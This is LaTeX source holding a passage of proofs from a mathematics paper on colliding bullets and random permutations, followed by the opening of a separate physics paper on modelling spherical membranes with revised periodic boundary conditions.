\left|\LR\left(\mathbf V'_{n},{\boldsymbol\Delta}_{n-1}',s,\{0\},k\right)\right|= \left|{\sf RR}\left(\mathbf V_n', {\boldsymbol\Delta}_{n-1}',s, \{0\},k\right)\right|\qquad \text{for all } k\ge 0,
\end{equation}
for $s=H(\mathbf V_n,{\boldsymbol\Delta}_{n-1})$.
{Since we assumed $\mathcal P^{(3)}_n$, \eqref{eq:remove_crit_triangle} holds and, in turn,
\[\mathbf P^\text{\textsc{ff}}_{\mathbf V^\star_{n+1}+,{\boldsymbol\Delta}_n} = \mathbf P^\text{\textsc{ff}}_{\mathbf V^\star_{n+1}-,{\boldsymbol\Delta}_n}\,,\]
which completes the proof.}
\subsection{Proof of Lemma~\ref{lem:ind2}}
\label{sub:proof_of_lemma2}
First note that it suffices to establish the formula for $A=\mathbb{Z}_+$ and for $\mathbb{Z}_{+}\setminus\{0\}$ since one can then recover the case $A=\{0\}$ by a simple difference. Suppose that $\mathcal P_m$ hold for all $m\le n$ and fix $(\mathbf V_{n+1},{\boldsymbol\Delta}_n)\in \mathcal G_{n+1}$.
\medskip
\noindent \emph{The case $A=\mathbb{Z}_+$.} In this case, there is no constraint on the number of trajectories intersecting the special segment $S$. As a consequence, the previous arguments show that $\mathcal P_n^{(3)}$ implies the desired property.
\medskip
\noindent \emph{The case $A=\mathbb{Z}_{+}\setminus \{0\}$}.
\begin{figure}[tbp]
\centerline{\includegraphics{decomposition_gamma}}
s\caption{\label{fig:PLO}Either $\gamma$ touches $LS$ or it is intersected before by some other line. (The lines $\gamma$ and $\gamma'$ have been chosen with negative slopes only for the sake of clarity of the representation.)}
\end{figure}
In each of the configurations involved, some of the $\overline {\sf HL}_i$ hit the segment $S$ from the right. Consider those for which the lowest intersection point in $S$ with these half lines is reached by a given half line $\gamma$. Now, denote by $RS$ and $LS$ the right and left sides of the triangle formed by the line segments with speed $V_{\min}$ and $V_r$. There are two cases (represented in Figure~\ref{fig:PLO}) depending on whether $\gamma$ is intersected by some other half-line before reaching $LS$ or not:
\begin{enumerate}[(a)]
\item \emph{if $\gamma$ touches $RS$ and $LS$ without being intersected}: in this case, we prove directly (without the induction hypothesis) that, for all $k\ge 0$, we actually have equality of the two sets
\begin{equation}\label{eq:gamma}
\LR(\mathbf V_{n+1},{\boldsymbol\Delta}_{n},s,\mathbb{Z}_+\setminus\{0\},k,\gamma) = {\sf RR}(\mathbf V_{n+1},{\boldsymbol\Delta}_{n},s,\mathbb{Z}_+\setminus\{0\},k,\gamma)\,,
\end{equation}
where we added the entry $\gamma$ to $\LR$ and ${\sf RR}$ to denote the set of configurations corresponding to this situation.
For any configuration $(\sigma,\tau)\in \LR(\mathbf V_n,{\boldsymbol\Delta}_{n-1},s,\mathbb{Z}_+\setminus\{0\},k,\gamma)$,
it is clear that $(\sigma,\tau)\in \cup_{\ell\ge 0}{\sf RR}(\mathbf V_n,{\boldsymbol\Delta}_{n-1}, s, \mathbb{Z}_+\setminus \{0\},\ell)$, the only thing to prove is that taking $(\sigma,\tau)$ as a configuration of ${\sf RR}$, there are precisely $k$ surviving bullets. To see this, observe first that the line $\gamma$ touches $RS$ and $LS$ without being hit in the LR model, and hits $RS$ in the ${\sf RR}$ model. Consider the triangle $T$ formed by the horizontal line, the direction $\gamma$ and $LS$. Now, the bullet whose trajectory follows $\gamma$ (see Figure~\ref{fig:firstpart}):
\begin{itemize}
\item hits the bullet with minimum speed whose trajectory follows $LS$ in $\LR$, and
\item hits the bullet with speed $V_r$ whose trajectory follows $RS$ in ${\sf RR}$.
\end{itemize}
Therefore, in each case, the two corresponding bullets collide. Now, the rest of the configuration is unaffected by any of the collision, because everything in both cases, happens inside the triangle $T$, which is not intersected in both models. As a consequence, if there are $k$ surviving bullets in $\LR$, there are also $k$ surviving bullets in ${\sf RR}$. One easily see that the argument actually prove the equality of the two sets in \eqref{eq:gamma}\footnote{We note here that we do not need to assume that the line $\gamma$ is the line that immediately come after $RS$. There may well be some bullets whose (real) trajectories are trapped in the triangle formed by $RS$ and $\gamma$; these are precisely the same in $\LR$ and ${\sf RR}$ because of our assumption that $\gamma$ is the lowest line hitting $RS$.}.
\begin{figure}[htbp]
\centering
\includegraphics[width=16cm]{gamma_not_hit.pdf}
\caption{\label{fig:firstpart}A configuration where the line $\gamma$ is not intersected before hitting $LS$: on the right we show the corresponding space-time diagrams in Models~\ref{def:LR} and~\ref{def:RR} where a bullet is shot along $LS$ or $RS$, respectively. It is important to note that except inside the blue shaded triangle, the two space-time diagrams are identical; as a consequence, the induction hypothesis is not necessary in this case.}
\end{figure}
\item \emph{if $\gamma$ touches $RS$ and is intersected by some half line}, say $\gamma'$ before touching $LS$: in this case, we need the induction hypothesis to prove that, for all $k\ge 0$,
\begin{equation}\label{eq:gamma'}
\left|\LR(\mathbf V_n,{\boldsymbol\Delta}_{n-1},s,\mathbb{Z}_+\setminus\{0\},k,\gamma,\gamma')\right|=\left|{\sf RR}(\mathbf V_n,{\boldsymbol\Delta}_{n-1},s,\mathbb{Z}_+\setminus\{0\},k,\gamma,\gamma')\right|\,,
\end{equation}
where we added the entries $\gamma$ and $\gamma'$ to $\LR$ and to ${\sf RR}$ to denote the set of configurations corresponding to this situation. Any configuration $(\sigma,\tau)$ in $\cup_{k\ge 0}\LR(\mathbf V_n,{\boldsymbol\Delta}_{n-1},s,\mathbb{Z}_+\setminus\{0\},k,\gamma,\gamma')$ is also a configuration of $\cup_{k\ge 0} {\sf RR}(\mathbf V_n,{\boldsymbol\Delta}_{n-1},s,\mathbb{Z}_+\setminus\{0\},k,\gamma,\gamma')$, and reciprocally. Fix a configuration, that can be seen in both models. Suppose that the half-lines $\gamma$ and $\gamma'$ intersect at some point $p$, which is before either reach $LS$ by assumption (see Figure~\ref{fig:secondpart}). Note that, in this configuration, any portion of the space-time diagram that is shot between $LS$ and $\gamma$, or between $\gamma$ and $\gamma'$ must remain trapped between $LS$ and $\gamma$, and $\gamma$ and $\gamma'$, respectively (see the two coloured regions in Figure~\ref{fig:secondpart}); this must be the case both in $\LR$ and ${\sf RR}$. As a consequence, none of the corresponding bullets may survive in any of the two models; for this reason, we can ignore them, and we now suppose that no bullet is shot between $LS$ and $\gamma$ or $\gamma$ and $\gamma'$.
Now,
\begin{itemize}
\item in $\LR$, the two bullets whose trajectory follow $\gamma$ and $\gamma'$ indeed collide at the point $p$. The rest of the space-time diagram is a set of half-lines that does not intersect $\gamma'$ before the point $p$. The rest of the configuration is just constrained not to hit the portion of $\gamma'$ before $p$, that we call $S'$. There are $k$ surviving bullets precisely if this smaller configuration lies in $\LR(\mathbf V'_{n-1}, {\boldsymbol\Delta}'_{n-2}, s', S', \{0\}, k)$, where $\mathbf V_{n-1}'$, ${\boldsymbol\Delta}_{n-2}'$ are obtained by removing the necessary speeds, and merging the delays between $LS$ and $\gamma'$, and $s'$ denotes the second coordinate of $p$.
\item in ${\sf RR}$, the bullet following $\gamma$ collides with the one following $RS$. The rest of the configuration has the same constraint that the line segment $S'$ of $\gamma'$ before the point $p$ is not intersected by any real trajectory. As a consequence, there are $k$ surviving bullets precisely if that smaller configuration lies in ${\sf RR}(\mathbf V'_{n-1}, {\boldsymbol\Delta}_{n-2}', s', \{0\}, k)$, where it is important to note that $\mathbf V'_{n-1}$, ${\boldsymbol\Delta}'_{n-2}$ and $s'$ are the same as above.
\end{itemize}
Next observe that there is a one-to-one map between the configurations of $n+1$ lines and the ones with $n-1$ lines\footnote{because we removed the ``trapped'' portions; otherwise it would be many-to-one, but the counting would still work since the constraints on the ``trap'' are the same in both models.}. It follows by the induction hypothesis implies that for each $k$, the sets $\LR(\mathbf V'_{n-1}, {\boldsymbol\Delta}_{n-2}, s', \{0\}, k)$ and ${\sf RR}(\mathbf V'_{n-1}, {\boldsymbol\Delta}_{n-2}, s', \{0\}, k)$ have the same cardinalities, and as a consequence, that \eqref{eq:gamma'} holds for all $k$.
\end{enumerate}
\begin{figure}[htbp]
\centering
\includegraphics[width=16cm]{gamma_hit.pdf}
\caption{\label{fig:secondpart} The space-time diagrams in Models~\ref{def:LR} and~\ref{def:RR} of a single configuration where $\gamma$ is hit by some line $\gamma'$ before hitting $LS$ (the one from Figure~\ref{fig:PLO}). One can transform the configuration into one for new matching $\LR$ and ${\sf RR}$ problems, where the critical pattern is modified. The new critical bi-triangle is shown shaded in red. The instance is of smaller size, and allows to use the induction hypothesis.}
\end{figure}
\subsection{Proof of Lemma~\ref{lem:ind3}}
As before, the general idea consists in proving that we can modify the parameters $(\mathbf V_n, {\boldsymbol\Delta}_{n-1})$, making sure that we do modify the statistics in either $\LR$ or ${\sf RR}$, until we arrive to a situation where we can without a doubt assert that these statistics are equal. In the previous proofs, the crucial modification consisted in decreasing the speed of the slowest bullet. Here, we rely on a different modification for the following reasons:
\begin{itemize}
\item Although the models $\LR$ and ${\sf RR}$ seem to be images of one another under some natural symmetry, it is not the case. In particular, the fact that the slowest speed is the one that lies to the left of the special interval of length $\Delta^\star$ ruins the nice symmetries; for instance, no bullet may hit the slowest bullet from the left while it is certainly possible that a bullet hits the one shot right after $\Delta^\star$ from the right.
\item More importantly, recall that we said that the distribution of the number of surviving bullets \emph{does not in general remain the same} if the permutations $\sigma$ and $\tau$ of the speeds and delays are not independent. Here, the fact that the slowest speed is shot right before the interval of length $\Delta^\star$ creates a dependence makes it difficult to reduce the question the initial colliding bullet problem where the intervals and speeds are all permuted independently.
\end{itemize}
Observe that
\[\LR(\mathbf V_n,{\boldsymbol\Delta}_{n-1},0,\{0\}, k)
\qquad \text{and} \qquad
{\sf RR}(\mathbf V_n,{\boldsymbol\Delta}_{n-1},0,\{0\}, k)\]
are sets of configurations in a model where $n-1$ bullets are fired, but since the special segment $S$ has length zero (and no bullet with speed 0, for the case when $\min \mathbf V_n=0$ can be treated directly), there are no restriction of any kind. In fact, we will prove a bit more than what is needed: we will prove that the equality of the statistics holds even if the speed $V_{\min}$ attached to the left of the special interval $\Delta^\star$ is any fixed speed (minimal or not). In other words, \emph{we do not assume that $V_{\min}$ is the minimal speed anymore in this section, but keep the name because the order of the speeds in $\mathbf V_n$ has been defined with this name ($V_{\min}$ has been placed in second to last position). }
Since the permutations $(\sigma,\tau)$ we consider let attached $\Delta^\star$ and $V_{\min}$ (or $\Delta^\star$ and $V_r$), the statistics $\LR(\mathbf V_n,{\boldsymbol\Delta}_{n-1},0,\{0\}, \cdot )$ (resp.\ $\LR(\mathbf V_n, {\boldsymbol\Delta}_{n-1}, 0, \{0\}, \cdot)$) are only clearly given by $\mathbf q_{n-1}$ when $\Delta^\star=0$, since this case corresponds exactly to $\mathbf P^{\text{\textsc{ff}}}_{\mathbf V_{n-1},{\boldsymbol\Delta}_{n-2}}$ where ${\boldsymbol\Delta}_{n-2}$ is obtained from ${\boldsymbol\Delta}_{n-1}$ by removing $\Delta^\star$ and $\mathbf V_{n-1}$ is obtained from $\mathbf V_n$ by suppressing $V_r$ (resp.\ $V_{\min}$).
The idea of the proof is similar to that of Lemma~\ref{sub:proof_of_lemma2}, but rather than decreasing the minimal speed, we decrease the length $\Delta^\star$. Proceeding in this way addresses the two issues mentioned above: it does act symmetrically on $\LR$ and ${\sf RR}$ and, eventually, when $\Delta^\star=0$, the dependence between the permutations of the speeds and delays vanish. In the following, we consider only one of the problems $\LR$ or ${\sf RR}$: it important to understand that \emph{we do not compare directly $\LR$ and ${\sf RR}$} which seems difficult; we proceed by justifying that we can reduce $\Delta^\star$, without changing the statistics, until it reaches zero, at which point, $\LR$ and ${\sf RR}$ are identified.
The core of the argument still relies on the kind of decompositions and reductions of the configurations that we have already treated in detail earlier and to which should be familiar to the reader by now. So, since we have mentioned the main difficulty and the differences with the previous arguments, we allow ourselves to be quicker and only sketch the argument.
When decreasing $\Delta^\star$ at the same time in $\LR$ and ${\sf RR}$, if the TCS is not modified, then the statistics are not modified. So we focus on the situations when the TCS does change: there exists configurations $(\sigma,\tau)$ for which one line from either side (before or after $\Delta^\star$) crosses the intersection of two lines originating from the other side. Only the configurations for which such a situation occurs need to be considered; furthermore, only the configuration for which the crossing indeed modifies the set of surviving bullets (at least locally) matter. This allows for the definition of notion of critical pattern or bi-triangle similar to the one is Section~\ref{ssec:singular-critical} (see Figure~\ref{fig:deuxieme_reduction}). As before, an induction argument allows to suppose that the critical pattern is minimal. Altogether, we are led to the situations described in Figure~\ref{fig:deuxieme_reduction}. Putting everything together, crossing a critical point of $\Delta^\star$ reduces to verifying that the statistics of $\LR$ and ${\sf RR}$ are identical for a problem of smaller size, and thus the induction hypothesis applies.
\begin{figure}[htbp]
\centerline{\includegraphics[width=16cm]{reduction_deltastar.pdf}}
\caption{\label{fig:deuxieme_reduction}The typical effect of diminishing the value of $\Delta^\star$: one reaches a critical value for which there is a critical pattern involving three lines. The red lines correspond to comparing the statistics before and after the `crossing' of this critical value reduces to comparing the statistics of a couple of models $\LR$ / ${\sf RR}$ involving a smaller number of bullets.}
\end{figure}
\section{Remaining proofs}
\label{sec:pf_other}
\subsection{Proof of Theorem~\ref{theo:other}}
\label{sub:proof_of_theorem_ref}
\noindent (i) \textsc{Bullet Flock.} Observe that the eventual number of surviving bullets only depends on the order of the speeds, not on their specific values. It does not depend either on the interbullet delays since the collisions are instantaneous.
Assume that the bullet with minimal speed is shot at time $i$ and that its speed is $v_i$. Being the slowest, it does not influence any of the bullets shot at times $1$, $2$, $\dots$, $i-1$. Furthermore, it will be hit by the next bullet $i+1$, except of course if there is no such bullet that is, if $i=n$ which happens with probability $1/n$. Of course, the behaviour of the bullets shot from time $i+2$ is not influenced. Removing the bullets $i$, and $i+1$ when the latter exists leaves the system in an exchangeable situation again, with $n-1$ or $n-2$ bullets. The result follows readily from the recursive definition of $\mathbf q_n$.
\medskip
\noindent (ii) \textsc{Odd cycles in permutations}. We proceed again by induction on $n$.
Consider the element with label $1$ and the cycle ${\cal C}$ containing it. A straightforward computation shows that the length $|{\cal C}|$ of ${\cal C}$ is 1 with probability $1/n$ (in which case, $1$ is a fixed point). If $|{\cal C}|>1$, then let $b$ be the image of $1$ in the permutation (the number just after it around ${\cal C}$). By symmetry, $b$ is uniform in $\{2,\cdots,n\}$. Let also $c$ be the image of $b$, and $z$ the preimage of $1$. Note that we might have $c=1$ and $z=b$ if $|\mathcal C|=2$, or $z=c$ if $|\mathcal C|=3$. Consider now the cycle structure obtained as follows:
\begin{itemize}
\item suppress the elements $1$ and $b$ from this cycle representation;
\item if $z\ne b$, modify its image in the permutation so its new image is $c$.
\end{itemize}
A simple combinatorial argument shows that the remaining structure is the cycle representation of a permutation that is uniformly distributed in the symmetric group on $S'=\{1,2,\cdots,n\}\setminus \{1,b\}$: indeed, from a given permutation on $S'$ with cyclic representation $(C'_1,\cdots,C'_\ell)$ all the potential initial permutations can be obtained by
\begin{itemize}
\item either adding the cycle $(1,b)$ on its own,
\item or insert the linked pair $1,b$ to the right of any element in one of the cycles $C'_j$;
the number of choices for the location this insertion equals $\sum_j |C'_j|=n-2$, and thus does not depend on $(C_1',\dots, C_\ell')$.
\end{itemize}
This previous decomposition immediately yields the recurrence relation that defines $\mathbf q_n$.
\medskip
\noindent (iii) \textsc{Extrema in matrices}. The minimum is reached at a diagonal entry with probability $n/n^2=1/n$ and with probability $1-1/n$ at a non-diagonal entry. Removing the lines and columns whose indices correspond to the coordinates of the minimum yields a matrix with size $n-1$ with probability $1/n$ and $n-2$ with probability $1-1/n$; in the reduced matrix, the entries are exchangeable. Since only the relative order of the entries is relevant, we obtain at once again the same recurrence relation leading to $\mathbf q_n$.
\medskip
\noindent (iv) \textsc{Two-step directed tree}. In this case, the claim is straightforward since for every $n$, the distance to $0$ clearly satisfies the recurrence relation \eqref{eq:law_Xn} by construction.
\subsection{Proof of Proposition~\ref{pro:limit_dist}}
\label{sub:limit_distribution}
The limit distribution for a random variable $X_n$ under $\mathbf q_n$ follows from the combinatorial decomposition. Recall that, by Theorem~\ref{theo:other}, $X_n$ is distributed as the number of cycles of odd length in a uniformly random permutation of length $n$.
Since a permutation is a set of cycles, classical combinatorial decomposition \cite{FlSe2009a} yields that the bivariate generating function counting permutations where the cycles are marked by $u$ and size by $z$ is
\[P(z,u)= \sum_{n\ge 0} \sum_{k\ge 1} p_{n,k} u^k \frac{z^n}{n!} = \exp(- u \log (1-z)),\]
where $p_{n,k}$ is the number of size $n$ permutations with $k$ cycles multiplied by $n!$.
Here, we want the simple modification $P^\circ(z,u)$ of $P(z,u)$ where $u$ only marks the cycles of odd length, and we let $P(z,u)$ be the corresponding generating function. We find
\begin{align*}
P^\circ(z,u)
& =\exp\bigg( u \bigg[-\log(1-z) + \frac 1 2 \log(1-z^2)\bigg] - \frac 1 2 \log (1-z^2)\bigg)\\
& =(1+z)^{(u-1)/2} \cdot (1-z)^{-(1+u)/2}.
\end{align*}
The only two potential singularities are $z=\pm 1$, and as a function of $z$, the generating function $P^\circ(z,u)$ is clearly analytic in the following disk with two dents:
\[\mathcal D := \{z\in \mathbb C: |z|\le 2, \arg(z-1)>\pi/12, \arg(1-z)>\pi/12 \}.\]
If $u=1$, then $P^\circ(z,1)=1/(1-z)$ and there is a unique singularity at $1$; otherwise, for any $u$ in a complex punctured neighborhood $U$ of $1$, $P(z,u)$ has two singularities at $z\in\{+1,-1\}$. In this case, the domain $\cal D$ is what is referred in \cite{FlSe2009a} as a $\Delta$-domain and the singularity analysis transfer theorem implies that, as $n\to \infty$, the main contribution comes from $z=1$ (the other one has a lower order polynomial growth in $n$) and we have
\[[z^n] P^\circ(z,u) = \frac1{n!} \sum_{k\ge 1} p^\circ_{n,k} u^k
\sim \frac {2^{(u-1)/2}}{\Gamma(\frac{1+u}2)} n^{(u-1)/2}.
\]
We shall need a uniform estimate for $u\in U$, and we must look into the contribution of $(1+z)^{(u-1)/2}$ more carefully: standard binomial expansion yields the exact formula
\[[z^n](1+z)^{(u-1)/2} = \frac {\Gamma(\frac{1-u}2+n)}{\Gamma(\frac{1-u}2) \Gamma(n)}.\]
For any $\epsilon>0$, choosing $U$ to be the punctured ball of radius $2\epsilon$ around $1$, it follows that, uniformly in $U$, as $n\to\infty$,
\[\left|[z^n](1+z)^{(u-1)/2}\right| \le \frac{\Gamma(n+\epsilon)}{\Gamma(\epsilon) \Gamma(n+1)} \sim \frac{n^{\epsilon-1}}{\Gamma(\epsilon)}.\]
Standard manipulations then imply that the probability generating function $f_n(u)= \mathbf E[u^{X_n}]$ satisfies, again uniformly in $U$ provided that $\epsilon \in (0,1)$,
\[f_n(u) = \frac{[z^n] P^\circ(z,u)}{[z^n] P^\circ(z,1)} \sim \frac {2^{(u-1)/2}}{\Gamma(\frac{1+u}2)} e^{\frac 1 2(u-1) \log n}.\]
The quasi-powers theorem (Theorem IX.8 of \citet{FlSe2009a}) immediately yields that
$\mathbf{E} X_n \sim \frac 1 2 \log n$, $\mathbf{Var}(X_n) \sim \frac 1 2 \log n$
and the claimed Gaussian limit distribution for $X_n$.
\color{black}
\subsection{Proof of Proposition~\ref{pro:recurrence}}
\label{sub:infinite_cases}
{\em (i)} Let $T_x$ denote the time (number of bullets to shoot) to destroy the slowest bullet in the flock given that it has a given speed $x\in [0,1]$. Considering the speed of the bullet that is first shot yields the following integral equation for $T_x$:
\begin{equation}
\label{eq:flock_diff_eq}
\mathbb{E}({T_x}) = 1 + x \left(\mathbb{E}(T_{Ux}) + \mathbb{E}({T_x})\right),
\end{equation}
where $U$ is an random variable uniform on $[0,1]$. This is a simple differential equation, and one obtains, with the condition that $T_0=1$ almost surely,
\[\mathbb{E}({T_x})= 1 /{(1-x)^2}.\]
This shows in particular that for every $x$, $T_x$ is almost surely finite, and in turn, that the time to destroy any finite number of bullets is also finite. This ensures that $F_n=0$ infinitely often.
{\em (ii)} For the case of the distances in the two-step tree, one easily verifies that the two subsequences $(D_{2k})_{k\ge 1}$ and $(D_{2k+1})_{k\ge 0}$ are non-decreasing. The convergence in probability thus implies almost sure convergence, and in turn the fact that there exists a (random) integer $n_0$ such that $D_n\ge 1$ for all $n\ge n_0$, which proves the claim.
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\begin{document}
\title{Approximate Modeling of Spherical Membranes}
\author{Pekka Koskinen\footnote{Corresponding author}}
\email[email:]{pekka.koskinen@iki.fi}
\address{NanoScience Center, Department of Physics, University of Jyv\"askyl\"a, 40014 Jyv\"askyl\"a, Finland}
\author{Oleg O. Kit}
\address{NanoScience Center, Department of Physics, University of Jyv\"askyl\"a, 40014 Jyv\"askyl\"a, Finland}
\pacs{71.15.-m,82.45.Mp,68.65.Pq,62.25.-g}
\begin{abstract}
Spherical symmetry is ubiquitous in nature. It's therefore unfortunate that simulation of spherical systems is so hard, and require complete spheres with millions of interacting particles. Here we introduce a method to model spherical systems, using revised periodic boundary conditions adapted to spherical symmetry. Method reduces computational costs by orders of magnitude, and is applicable for both solid and liquid membranes, provided the curvature is sufficiently small. We demonstrate the method by calculating the bending and Gaussian curvature moduli of single- and multi-layer graphene. The method works with any interaction (\emph{ab initio}, classical interactions), with any approach (molecular dynamics, Monte Carlo), and with applications ranging from science to engineering, from liquid to solid membranes, from bubbles to balloons.
\end{abstract}
\maketitle
\section{Introduction to modeling approach}
The problem in simulating spherical symmetry is topological: you cannot build a perfect sphere from identical blocks. The absence of such a building block has enforced expensive simulations with complete spheres---though usually spherical simulations are simply avoided. Overwhelming dilemmas like this are often considered so fundamental and frustrating that they restrain all attempts to seek for a practical solution.
Anyhow, avoiding spherical systems in our world is hard. Spherical shells surround us in a variety of forms: in balloons, in cell membranes inside our bodies, in bubbles in the sea, or in Earth's crust. The interaction of nanoparticles with cell membranes, for instance, is a topical question.\cite{monticelli_SM_09} Since cell membranes' curvature moduli \emph{determine} the very forms of red blood cells, for example, one can see why simulations should incorporate curvature effects.\cite{marsh_CPL_06,markvoort_JPCB_06} Another timely example is the foam of spherical bubbles in the sea, the bursting of which may play an important role on the so-called sea spray that produces spherical aerosols into the atmosphere.\cite{bird_nature_10,spiel_JGR_98}
Although liquid membranes are more abundant in nature, also man-made solid membranes have spherical symmetries, at least locally. Examples are fullerenes,\cite{kroto_nature_85} nanoballoons,\cite{leenaerts_APL_08} and especially graphene that contains intrinsic ripples even when suspended freely.\cite{meyer_nature_07,bao_nnano_09,shenoy_PRL_08} Curvature moduli of graphene are intimately related to these ripples, whether they are intrinsic or not,\cite{thompson-flagg_EPL_09,wang_PRB_09} and in a broad sense to elastic behavior of all honeycomb carbon, among graphene nanoribbons,\cite{shenoy_PRL_08} multilayer graphene,\cite{huang_PNAS_09} and carbon nanotubes.\cite{pastewka_PRB_09, malola_PRB_08b}
Conventionally spherical systems are treated in three ways. The first way is to simulate the system as a whole. Needless to say, this is expensive and often impossible.\cite{markvoort_JPCB_06} The second way is, should the system have some well-defined point-group symmetries, to use those symmetries for reducing computational costs. Most established codes have the ability to benefit from such symmetries; this has long been a standard procedure with molecules and clusters.\cite{atkins_book_00} Because the symmetry is exact, however, neither the curvature nor other geometrical parameters can be changed flexibly. The third way is to ignore curvature altogether and to use periodic boundary conditions (PBC) to simulate an infinitely large, flat membrane. Unfortunately, in nanoscience many systems fall between these two extremes: systems with huge number of particles, having no overall symmetry, but prominent curvature effects. At the moment a practical way to simulate such systems does not exist.
The periodic boundary conditions have been adapted, however, also to symmetries beyond translation. The first ideas came along chiral carbon nanotubes,\cite{white_PRB_93,popov_NJP_04} and those ideas have been used ever since; for reviews look at Refs.~\onlinecite{white_JPCB_05} and \onlinecite{gunlycke_PRB_08}. An important extension to general symmetries with exact treatment was done in Ref.~\onlinecite{dumitrica_JMPS_07}, which has enabled more flexibility.\cite{zhang_JCP_08,nikiforov_APL_10,zhang_PRL_10}. Later, Ref.~\onlinecite{koskinen_PRL_10} introduced revised periodic boundary conditions (RPBC), a simple formalism for general material distortions; this is the approach we shall use here, and it's illustrating to review it briefly.
In RPBC, the usual translation operations are replaced by general symmetry operations $\mathcal{S}^{\bm n}$ that, in a quantum-mechanical language, leave the electronic potential invariant, or
\begin{equation}
\hat{D}(\mathcal{S}^{\bm n}) V(\mbox{\boldmath $r$})\equiv V(\mathcal{S}^{-{\bm n}}\mbox{\boldmath $r$})=V(\mbox{\boldmath $r$}).
\end{equation}
The operation $\mathcal{S}^{\bm n}$ is a succession of an abelian group of operations $\mathcal{S}_i$, that is $\mathcal{S}^{\bm n}=\mathcal{S}_1^{n_1} \mathcal{S}_2^{n_2} \cdots$. Then, by imposing periodicity ($\mathcal{S}_i^{M_i}=1$, $M_i$ integer), one finds that the Hamiltonian eigenstates $\psi_{a {\bm \kappa}}(\mbox{\boldmath $r$})$ at $\mbox{\boldmath $r$}$ and at $\mbox{\boldmath $r$}'=\mathcal{S}^{-\bm n} \mbox{\boldmath $r$}$ differ only by a phase factor,
\begin{equation}
\hat{D}(\mathcal{S}^{\bm n})\psi_{a {\bm \kappa}}(\mbox{\boldmath $r$})=\psi_{a {\bm \kappa}}(\mathcal{S}^{-{\bm n}} \mbox{\boldmath $r$})=\exp(i{\bm \kappa}\cdot \mbox{\boldmath $n$})\psi_{a {\bm \kappa}}(\mbox{\boldmath $r$}),
\label{eq:bloch}
\end{equation}
with inverse operation $\mathcal{S}^{-{\bm n}}$, band index $a$, and the reciprocal lattice vector ${\bm \kappa}$. Eq.(\ref{eq:bloch}) infers the familiar result: a single simulation cell---whatever its shape---is enough to describe the extended system as a whole. Revised PBC is hence similar to conventional PBC and differs only in the definitions of the symmetry operations. There are no other fundamental differences. As an illustrative example, the total energy with a classical pair potential is
\begin{equation}
E_\text{pair} = \frac{1}{2}\sum_{i,j=1}^N \sum_{\bm n} U_{ij}(|\mbox{\boldmath $R$}_i-\mathcal{S}^{\bm n} \mbox{\boldmath $R$}_j|),
\end{equation}
where $N$ is the particle count and $\mbox{\boldmath $n$}$ runs over operations where particle $i$ at $\mbox{\boldmath $R$}_i$ still interacts with the periodic image of particle $j$ at $\mathcal{S}^{\bm n} \mbox{\boldmath $R$}_j$. Forces are the negative gradients of this expression, as usual. Look at Ref.~\onlinecite{koskinen_PRL_10} for details of RPBC and Refs.~\onlinecite{malola_PRB_08b} and \onlinecite{koskinen_PRB_10} for examples of usage.
In this paper we use the RPBC, reviewed above, in an approximate way to introduce a trick for modeling spherical membranes. Adapting RPBC for spherical systems enables simulations with orders-of-magnitude reductions in computational costs. We shall apply the method to calculate graphene's mean and Gaussian curvature moduli, but first we proceed to discuss symmetry operations and their character.
\section{Sphericity as an Approximate Symmetry}
\begin{figure}[tb]
\includegraphics[width=5.5cm]{fig1.pdf}
\caption{(Color online) (a) Illustration of symmetry operations $\mathcal{S}_1$ and $\mathcal{S}_2$ for spherical symmetry. $\mathcal{S}_1$ is a rotation of angle $\delta \theta_1$ around $y$-axis and $\mathcal{S}_2$ is a rotation of angle $\delta \theta_2$ around $x$-axis; the angles $\delta \theta_i$ are small. (In general, $\mbox{\boldmath $c$}_1$ can also be non-orthogonal to $\mbox{\boldmath $c$}_2$ and $\delta \theta_1$ different from $\delta \theta_2$.)}
\label{fig:operations}
\end{figure}
Consider the square cone in Fig.~\ref{fig:operations}, regard the grid as fixed in space, and concentrate on the shaded region. If we rotate all particles an angle $\delta \theta_1$ around $y$-axis, or an angle $\delta \theta_2$ around $x$-axis, the geometry within the shaded region will remain approximately intact. This means that rotations $\mathcal{S}_1^{n_1} \mbox{\boldmath $r$}=\mathcal{R}(n_1 \delta \theta_1 \mbox{\boldmath $c$}_1)\mbox{\boldmath $r$}$ and $\mathcal{S}_2^{n_2} \mbox{\boldmath $r$}=\mathcal{R}(n_2 \delta \theta_2 \mbox{\boldmath $c$}_2) \mbox{\boldmath $r$}$ (with $\mbox{\boldmath $c$}_1=\mbox{$\hat{\jmath}$}$, $\mbox{\boldmath $c$}_2=\mbox{$\hat{\imath}$}$ and operation $\mathcal{R}(\mbox{\boldmath $c$})$ as $|\mbox{\boldmath $c$}|$-radian rotation around $\hat{\mbox{\boldmath $c$}}$) leave the electronic potential $V(\mbox{\boldmath $r$})$ invariant near the shaded region: $\mathcal{S}_1$ and $\mathcal{S}_2$ are symmetry operations \emph{as far as the shaded region and its vicinity is concerned}. Two rotations around different axes do not commute in general, but if the rotation angles $\delta \theta_i$ are small $\mathcal{S}_i\mbox{\boldmath $r$}\approx \mbox{\boldmath $r$} + \delta \theta_i \mbox{\boldmath $c$}_i \times \mbox{\boldmath $r$}$, rotations do commute to linear order in $\delta \theta_i$'s, $[\mathcal{S}_1,\mathcal{S}_2]=\mathcal{O}(\delta \theta_i^2)$. Hence also the combined operation
\begin{equation}
(\mathcal{S}_1^{n_1}\mathcal{S}_2^{n_2}) \mbox{\boldmath $r$}\approx \mathcal{R}(n_1\delta \theta_1\mbox{\boldmath $c$}_1 + n_2\delta \theta_2 \mbox{\boldmath $c$}_2)\mbox{\boldmath $r$} \equiv \mathcal{S}^{\bm n} \mbox{\boldmath $r$}
\label{eq:rotation-operation}
\end{equation}
is an approximate symmetry operation, provided that $n_i$ are small enough. Eq.(\ref{eq:rotation-operation}) is basically all we need to fully employ the RPBC of Ref.~\onlinecite{koskinen_PRL_10}; we are, in principle, ready to go and to simulate any spherical membrane.
\section{Features due to approximation}
In practice, however, the approximate character of $\mathcal{S}^{\bm n}$ raises questions that deserve some elaboration. First, as already mentioned, the formalism assumes periodic boundary conditions ($\mathcal{S}_i^{M_i}=1$) which may seem questionable. Here we remind that similar PBCs are used also in regular bulk, with all three dimensions periodic in an intertwined fashion. (In two dimensions PBC represents topologically a toroid.) The bottom line is that periodicity is not a physical reality but a mere mathematical trick that works, and enables the application of revised Bloch's theorem in the first place.\cite{hansen_PRL_79,kratky_JCP_80} The integers $M_i$ are connected rather to ${\bm \kappa}$-point sampling than to physical reality.
